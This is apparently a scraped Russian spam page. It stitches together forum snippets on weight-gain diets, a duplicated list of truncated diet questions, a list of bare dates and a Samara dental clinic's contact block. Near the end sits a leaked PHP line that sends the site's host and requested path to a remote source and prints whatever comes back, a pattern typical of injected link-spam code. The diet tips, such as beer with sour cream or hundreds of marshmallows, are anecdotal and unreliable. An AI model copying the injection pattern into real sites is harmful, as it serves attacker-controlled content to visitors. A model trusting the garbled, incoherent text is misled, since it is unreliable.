сесть на любую жёсткую диету для похудения (!) на пару недель, потом перейти на своё обычное питание. Всё сброшенное за это время гарантированно вернётся с прибавкой:
http://img.liveinternet.ru/images/attach/b/0/3550/3550051_DIETUY_NE_RABOTAYUT.doc

.подскажите диету для потолстении или дайте ссылку по теме пож..

Пол стакана пива пол стакана сметаны несколько раз за день, я такое видел и помогло.

Диета для потолстения. 30 Май 2010.Диета для желающих поправиться. Мы предлагаем вам примерную диету на неделю, которой вы можете придерживатьсястащил тут. эээххх, и дорогая же диета получается, мало того что есть надо 6 раз в день , да еще и столько...

Курить уже бросай, да! ?
Кроме того, один из вариантов отучивания курить - как хочется сунуть в рот сигарету, суй туда карамельку или там зефирчик.. . двести зефирчиков в день - вполне калорийно
Эт, конечно, если ты куришь...

  • Диета по группе крови нейтральные - Всем доброго времени суток. Прошу ответить на вопрос, ваше отношение к вегетарианству. И главное почему? Каков вывод? Во
  • Диета от угревой сыпи - Подскажите хорошее средство от угревой сыпи! Секс Одним из наиболее ценных качеств данной каши является то, что хлопья г
  • Целлюлит задняя поверхность бедер - Целлюлит на задней поверхности бедер и на внутренней стороне сверху-его там много.Как убрать? Бегать по вечерам, на скак
  • Диета 5 вторые блюда для ребенка - Посовеуйте!Диета 5. Что можно приготовить из вторых блюд к этой диете!? Мясо отварное запеченное под белым молочным соус
  • Очень низкокалорийная диета меню - Меню для похудения Презервативы Нужно заниматься спортом! Утром стакан воды, в обед стакн, вечером пол стакана воды (шут
  • Диета при заболеваниях сосудов - Привет хочу спросит вредны ли шоколадные батончики вроде: Сникерса,пикника и т.д Зубки чинить нынче дорого, один зуб 100
  • Кофейные зерна для диеты - Правда что худеют от зеленого кофе? Ерунда . От чая это да . Ошибочка. худеют от зеленого мяса. (если не помрут) Зеленый
  • Как похудеть на кг, 7 - Как похудеть на 7 кг , если я не могу сидеть на диете , похудеть очень нужно, а сил заниматься спортом нет? Тогда никак.
  • Диета при хронической почечной - Диета при хронических заболеваниях почек Кислое соленое острое газировки нельзя. Все должно быть в меру Диета при почечн
  • Диета после ангины - Помогите Как вылечить ангину Горло мазать люголем, полоскать. Ангина воспаление тонзиллит преимущественно небных миндали
  • Диета по группе крови нейтральные - Всем доброго времени суток. Прошу ответить на вопрос, ваше отношение к вегетарианству. И главное почему? Каков вывод? Во
  • Диета от угревой сыпи - Подскажите хорошее средство от угревой сыпи! Секс Одним из наиболее ценных качеств данной каши является то, что хлопья г
  • Целлюлит задняя поверхность бедер - Целлюлит на задней поверхности бедер и на внутренней стороне сверху-его там много.Как убрать? Бегать по вечерам, на скак
  • Диета 5 вторые блюда для ребенка - Посовеуйте!Диета 5. Что можно приготовить из вторых блюд к этой диете!? Мясо отварное запеченное под белым молочным соус
  • Очень низкокалорийная диета меню - Меню для похудения Презервативы Нужно заниматься спортом! Утром стакан воды, в обед стакн, вечером пол стакана воды (шут
  • Диета при заболеваниях сосудов - Привет хочу спросит вредны ли шоколадные батончики вроде: Сникерса,пикника и т.д Зубки чинить нынче дорого, один зуб 100
  • Кофейные зерна для диеты - Правда что худеют от зеленого кофе? Ерунда . От чая это да . Ошибочка. худеют от зеленого мяса. (если не помрут) Зеленый
  • Как похудеть на кг, 7 - Как похудеть на 7 кг , если я не могу сидеть на диете , похудеть очень нужно, а сил заниматься спортом нет? Тогда никак.
  • Диета при хронической почечной - Диета при хронических заболеваниях почек Кислое соленое острое газировки нельзя. Все должно быть в меру Диета при почечн
  • Диета после ангины - Помогите Как вылечить ангину Горло мазать люголем, полоскать. Ангина воспаление тонзиллит преимущественно небных миндали
Диета для потолстения по дням
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта